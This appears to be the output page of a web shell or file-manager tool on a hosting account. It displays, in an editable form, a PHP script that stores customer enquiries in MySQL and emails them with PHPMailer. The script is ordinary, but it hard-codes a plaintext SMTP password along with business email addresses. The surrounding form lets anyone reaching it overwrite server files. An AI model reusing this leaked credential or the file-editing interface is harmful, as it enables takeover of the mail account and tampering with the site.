<h2>File Contents: /home/u885320773/domains/sugatu.in/public_html/process/submit_custom_enquiry.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/u885320773/domains/sugatu.in/public_html/process/submit_custom_enquiry.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
// process/submit_custom_enquiry.php
// Expects JSON POST with structure:
// {
//   combokitid, combokittitle,
//   customer: { name, email, phone, pincode },
//   items: [
//     { cp_id, pid, ptitle, original_price, replacement_id, replacement_title, unit_price_used, quantity, removed }
//   ],
//   totals: { subtotal, discountPercent, total }
// }

// Enable strict error reporting for debugging (turn off display in production)
ini_set('display_errors', '0');
error_reporting(E_ALL);

header('Content-Type: application/json; charset=utf-8');

// PHPMailer includes (you were using local files)
require_once __DIR__ . '/../Exception.php';
require_once __DIR__ . '/../PHPMailer.php';
require_once __DIR__ . '/../SMTP.php';

// DB config
require_once __DIR__ . '/../admin/config.php'; // must provide $conn (mysqli)

// Use fully-qualified class names (no use statements required)
$raw = file_get_contents('php://input');
if (!$raw) {
    http_response_code(400);
    echo json_encode(['success' =&gt; false, 'message' =&gt; 'Empty request body']);
    exit;
}

$data = json_decode($raw, true);
if (!$data) {
    http_response_code(400);
    echo json_encode(['success' =&gt; false, 'message' =&gt; 'Invalid JSON']);
    exit;
}

// Basic validation
$customer = $data['customer'] ?? null;
$items = $data['items'] ?? [];
$combokitid = $data['combokitid'] ?? null;
$combokittitle = $data['combokittitle'] ?? '';

if (!$customer || empty($items) || !$combokitid) {
    http_response_code(400);
    echo json_encode(['success' =&gt; false, 'message' =&gt; 'Missing required fields']);
    exit;
}

$name = trim($customer['name'] ?? '');
$email = trim($customer['email'] ?? '');
$phone = trim($customer['phone'] ?? '');
$pincode = trim($customer['pincode'] ?? '');

if (!$name || !$email || !$phone || !$pincode) {
    http_response_code(400);
    echo json_encode(['success' =&gt; false, 'message' =&gt; 'Incomplete contact information']);
    exit;
}

// totals
$totals = $data['totals'] ?? [];
$subtotal = isset($totals['subtotal']) ? floatval($totals['subtotal']) : 0.0;
$discountPercent = isset($totals['discountPercent']) ? floatval($totals['discountPercent']) : 0.0;
$total = isset($totals['total']) ? floatval($totals['total']) : 0.0;

$created_at = date('Y-m-d H:i:s');

// SMTP / Mail settings — update these if needed
$smtpHost = 'smtp.hostinger.com';
$smtpPort = 465; // 465 for SSL
$smtpSecure = 'ssl'; // 'ssl' or 'tls'
$smtpUser = 'design@sugatu.net';
$smtpPass = 'Sugatu@400cr';
$fromEmail = 'design@sugatu.net';
$fromName = 'Sugatu';
//$adminEmail = 'ashishbafna619@gmail.com'; // recipient — change if needed
$adminEmail = 'sales@sugatu.net'; // recipient — change if needed

// Begin DB transaction
$conn-&gt;autocommit(false);

try {
    // Insert master enquiry
    $stmt = $conn-&gt;prepare(
        &quot;INSERT INTO custom_enquiries (combokitid, combokittitle, customer_name, customer_email, customer_phone, customer_pincode, subtotal, discount_percent, total, created_at)
         VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)&quot;
    );
    if (!$stmt) throw new Exception('DB prepare failed (enquiry): ' . $conn-&gt;error);

    $combokitid_param = intval($combokitid);
    $stmt-&gt;bind_param('issssdddss', $combokitid_param, $combokittitle, $name, $email, $phone, $pincode, $subtotal, $discountPercent, $total, $created_at);
    if (!$stmt-&gt;execute()) throw new Exception('DB execute failed (enquiry): ' . $stmt-&gt;error);

    $enquiry_id = $stmt-&gt;insert_id;
    $stmt-&gt;close();

    // Prepare insert for items
    $stmt2 = $conn-&gt;prepare(
        &quot;INSERT INTO custom_enquiry_items (enquiry_id, cp_id, product_id, product_title, unit_price_used, quantity, removed, replacement_id, replacement_title, alternates_json)
         VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)&quot;
    );
    if (!$stmt2) throw new Exception('DB prepare failed (items): ' . $conn-&gt;error);

    foreach ($items as $it) {
        $cp_id = isset($it['cp_id']) ? intval($it['cp_id']) : null;
        $product_id = isset($it['pid']) ? intval($it['pid']) : null;
        $product_title = substr(trim($it['ptitle'] ?? ''), 0, 255);
        $unit_price_used = isset($it['unit_price_used']) ? floatval($it['unit_price_used']) : 0.0;
        $quantity = isset($it['quantity']) ? intval($it['quantity']) : 0;
        $removed = isset($it['removed']) &amp;&amp; $it['removed'] ? 1 : 0;
        $replacement_id = isset($it['replacement_id']) &amp;&amp; $it['replacement_id'] ? intval($it['replacement_id']) : null;
        $replacement_title = isset($it['replacement_title']) ? substr(trim($it['replacement_title']), 0, 255) : null;

        $alternates_json = json_encode($it['alternate_products'] ?? []);

        // bind params (note: mysqli will accept null variables when bound)
        $stmt2-&gt;bind_param(
            'iiisdiisss',
            $enquiry_id,
            $cp_id,
            $product_id,
            $product_title,
            $unit_price_used,
            $quantity,
            $removed,
            $replacement_id,
            $replacement_title,
            $alternates_json
        );

        if (!$stmt2-&gt;execute()) {
            throw new Exception('DB execute failed (item insert): ' . $stmt2-&gt;error);
        }
    }
    $stmt2-&gt;close();

    // Build HTML email body (replacement_title displayed if present)
    $body = &quot;&lt;h3&gt;New Customized Enquiry&lt;/h3&gt;&quot;;
    $body .= &quot;&lt;p&gt;&lt;strong&gt;Name:&lt;/strong&gt; &quot;.htmlspecialchars($name).&quot;&lt;br&gt;&quot;;
    $body .= &quot;&lt;strong&gt;Email:&lt;/strong&gt; &quot;.htmlspecialchars($email).&quot;&lt;br&gt;&quot;;
    $body .= &quot;&lt;strong&gt;Phone:&lt;/strong&gt; &quot;.htmlspecialchars($phone).&quot;&lt;br&gt;&quot;;
    $body .= &quot;&lt;strong&gt;Pincode:&lt;/strong&gt; &quot;.htmlspecialchars($pincode).&quot;&lt;/p&gt;&quot;;
    $body .= &quot;&lt;h4&gt;Kit: &quot;.htmlspecialchars($combokittitle).&quot; (ID: &quot;.intval($combokitid).&quot;)&lt;/h4&gt;&quot;;

    $body .= &quot;&lt;table border='1' cellpadding='6' cellspacing='0' style='border-collapse:collapse; width:100%;'&gt;&lt;thead&gt;&lt;tr style='background:#f2f2f2;'&gt;
                &lt;th align='left'&gt;Product&lt;/th&gt;&lt;th align='right'&gt;Price&lt;/th&gt;&lt;th align='center'&gt;Qty&lt;/th&gt;&lt;th align='center'&gt;Removed&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&quot;;

    foreach ($items as $it) {
        $product_display = !empty($it['replacement_title']) ? $it['replacement_title'] : ($it['ptitle'] ?? '');
        $price_display = isset($it['unit_price_used']) ? number_format(floatval($it['unit_price_used']), 2) : '0.00';
        $qty_display = isset($it['quantity']) ? intval($it['quantity']) : 0;
        $removed_display = (!empty($it['removed']) ? 'Yes' : 'No');

        $body .= &quot;&lt;tr&gt;&quot;;
        $body .= &quot;&lt;td&gt;&quot;.htmlspecialchars($product_display).&quot;&lt;/td&gt;&quot;;
        $body .= &quot;&lt;td align='right'&gt;₹&quot;.htmlspecialchars($price_display).&quot;&lt;/td&gt;&quot;;
        $body .= &quot;&lt;td align='center'&gt;&quot;.htmlspecialchars($qty_display).&quot;&lt;/td&gt;&quot;;
        $body .= &quot;&lt;td align='center'&gt;&quot;.htmlspecialchars($removed_display).&quot;&lt;/td&gt;&quot;;
        $body .= &quot;&lt;/tr&gt;&quot;;
    }
    $body .= &quot;&lt;/tbody&gt;&lt;/table&gt;&quot;;
    $body .= &quot;&lt;p&gt;&lt;strong&gt;Subtotal:&lt;/strong&gt; ₹&quot;.number_format($subtotal, 2).&quot;&lt;br&gt;&quot;;
    $body .= &quot;&lt;strong&gt;Discount:&lt;/strong&gt; &quot;.number_format($discountPercent, 2).&quot;%&lt;br&gt;&quot;;
    $body .= &quot;&lt;strong&gt;Total:&lt;/strong&gt; ₹&quot;.number_format($total, 2).&quot;&lt;/p&gt;&quot;;

    // Prepare PHPMailer and send
    $mail = new \PHPMailer\PHPMailer\PHPMailer(true);
    try {
        // SMTP config
        $mail-&gt;isSMTP();
        $mail-&gt;Host = $smtpHost;
        $mail-&gt;Port = $smtpPort;
        $mail-&gt;SMTPAuth = true;
        $mail-&gt;Username = $smtpUser;
        $mail-&gt;Password = $smtpPass;
        // SMTPSecure may be 'ssl' or 'tls'
        $mail-&gt;SMTPSecure = $smtpSecure;
        $mail-&gt;CharSet = 'UTF-8';

        // In some environments you may need to allow self-signed certs:
        $mail-&gt;SMTPOptions = [
            'ssl' =&gt; [
                'verify_peer' =&gt; true,
                'verify_peer_name' =&gt; true,
                'allow_self_signed' =&gt; false
            ]
        ];

        $mail-&gt;setFrom($fromEmail, $fromName);
        $mail-&gt;addAddress($adminEmail);
        $mail-&gt;addReplyTo($email, $name);

        $mail-&gt;isHTML(true);
        $mail-&gt;Subject = &quot;New Customized Enquiry #{$enquiry_id} - &quot; . htmlspecialchars($combokittitle);
        $mail-&gt;Body = $body;
        $mail-&gt;AltBody = strip_tags(str_replace(['&lt;br&gt;','&lt;br/&gt;','&lt;/p&gt;','&lt;/tr&gt;','&lt;/td&gt;'],' ',$body));

        // Send email
        if (!$mail-&gt;send()) {
            // throw to catch block
            throw new Exception('Mail send failed: ' . $mail-&gt;ErrorInfo);
        }
    } catch (Exception $mailEx) {
        // If you prefer to still commit DB even when mail fails, change below to comment rollback.
        $conn-&gt;rollback();
        error_log('submit_custom_enquiry mail error: ' . $mailEx-&gt;getMessage());
        http_response_code(500);
        echo json_encode(['success' =&gt; false, 'message' =&gt; 'Mail error: ' . $mailEx-&gt;getMessage()]);
        exit;
    }

    // If we reach here, everything succeeded: commit DB
    $conn-&gt;commit();

    echo json_encode(['success' =&gt; true, 'message' =&gt; 'Enquiry submitted successfully']);
    exit;

} catch (Exception $ex) {
    if ($conn) $conn-&gt;rollback();
    error_log('submit_custom_enquiry error: ' . $ex-&gt;getMessage());
    http_response_code(500);
    echo json_encode(['success' =&gt; false, 'message' =&gt; 'Server error: ' . $ex-&gt;getMessage()]);
    exit;
}
?&gt;</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fu885320773%2Fdomains%2Fsugatu.in%2Fpublic_html%2Fprocess'>⬅ Back to Directory</a>